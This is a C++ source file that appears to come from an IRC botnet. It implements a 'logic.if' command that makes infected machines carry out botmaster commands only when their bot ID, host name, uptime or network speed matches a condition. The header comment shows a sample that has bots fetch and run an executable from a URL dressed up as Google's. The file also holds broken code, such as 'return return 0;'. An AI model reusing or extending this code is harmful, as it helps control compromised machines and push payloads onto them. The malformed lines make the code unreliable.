/*

  [Afro's Logical Equasion]] 
  .logic.if TYPE MODE VALUE COMMAND
  	Example: .logic.if id != [4FR0]2.04 .http.update http://toolbar.google.com/installwin32.exe
	Example: .logic.if host == edu .irc.join #edus
	Example: .logic.if uptime > 7 .bot.sysinfo -n

*/

#include "main.h"
#include "mainctrl.h"
#include "logic.h"

void CLogic::Init(){

	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdLogic, "logic.if","",this);

}
int UpDays();
bool CLogic::HandleCommand(CMessage *pMsg){

	if(!pMsg->sCmd.Compare("logic.if")){
		int LogMode;
		CString LogType=pMsg->sChatString.Token(1, " ");
		CString LogModeS=pMsg->sChatString.Token(2, " ");
		CString LogVal=pMsg->sChatString.Token(3, " ");
		LogMode=pMsg->sChatString.Token(0, " ").GetLength()+LogVal.GetLength()+LogType.GetLength()+LogModeS.GetLength()+4;
		CString LogCmd=pMsg->sChatString.Mid(LogMode);

		CMessage *pLogic=pMsg;
		pLogic->sCmd=pMsg->sChatString.Token(4, " ").Mid(1);
		pLogic->sChatString=LogCmd;

		if(!LogModeS.Compare("!=")){LogMode=0;};
		if(!LogModeS.Compare("==")){LogMode=1;};
		if(!LogModeS.Compare(">")){LogMode=2;};
		if(!LogModeS.Compare("<")){LogMode=3;};

		if(!LogType.Compare("id")){
			if(LogMode==2||LogMode==3)g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice,pMsg->sDest , "[LOGIC] Greater/Lesser Than not supported for ID");
			else if(LogMode==0&&g_cMainCtrl.m_cBot.bot_id.sValue.Compare(LogVal.CStr())) g_cMainCtrl.m_cBot.Recv(pLogic);
			else if(LogMode==1&&!g_cMainCtrl.m_cBot.bot_id.sValue.Compare(LogVal.CStr())) g_cMainCtrl.m_cBot.Recv(pLogic);
		}


		if(!LogType.Compare("host")){
			if(LogMode==2||LogMode==3)g_cMainCtrl.m_cIRC.SendFormat(pMsg->bSilent, pMsg->bNotice,pMsg->sDest , "[LOGIC] Greater/Lesser Than not supported for Host");
			else if(LogMode==0&&!g_cMainCtrl.m_cIRC.m_sLocalHost.Find(LogVal.CStr())) g_cMainCtrl.m_cBot.Recv(pLogic);
			else if(LogMode==1&&g_cMainCtrl.m_cIRC.m_sLocalHost.Find(LogVal.CStr())) g_cMainCtrl.m_cBot.Recv(pLogic);
		}


		else if(!LogType.Compare("uptime")){
	char *Valy=LogVal.Str();	char * pEnd;	int Val=strtol(Valy,&pEnd,0);	int Up=UpDays();

			if(LogMode==0&&Up!=Val) g_cMainCtrl.m_cBot.Recv(pLogic);
			if(LogMode==1&&Up==Val) g_cMainCtrl.m_cBot.Recv(pLogic);		
			if(LogMode==2&&Up>Val) g_cMainCtrl.m_cBot.Recv(pLogic);
			if(LogMode==3&&Up<Val) g_cMainCtrl.m_cBot.Recv(pLogic);
		}

				else if(!LogType.Compare("speed")){
		int i = g_cMainCtrl.m_cSpeedTest.m_speedData.lTotalSpeed;
		if(!i) return false;
		
	int Val=atoi(LogVal.Str());
			if(LogMode==0&&i!=Val) g_cMainCtrl.m_cBot.Recv(pLogic);
			if(LogMode==1&&i==Val) g_cMainCtrl.m_cBot.Recv(pLogic);		
			if(LogMode==2&&i>Val) g_cMainCtrl.m_cBot.Recv(pLogic);
			if(LogMode==3&&i<Val) g_cMainCtrl.m_cBot.Recv(pLogic);
return true;
	}

	}
	
	
return true; }


int UpDays(){

#ifdef WIN32
	int total=GetTickCount()/1000;
	OSVERSIONINFO verinfo;
return total/86400;
#else
	FILE *fp=fopen("/proc/uptime", "r");
	float f1, f2;

	if(!fp) return return 0;
	if(fscanf(fp, "%f %f", &f1, &f2)<2) return 0;
	fclose(fp);
	
	int days, hours, minutes;
	days=((abs((int)f1)/60)/60)/24;
	hours=((abs((int)f1)/60)/60)%24;
	minutes=(abs((int)f1)/60)%60;

	return days;
#endif // WIN32
	return 0; }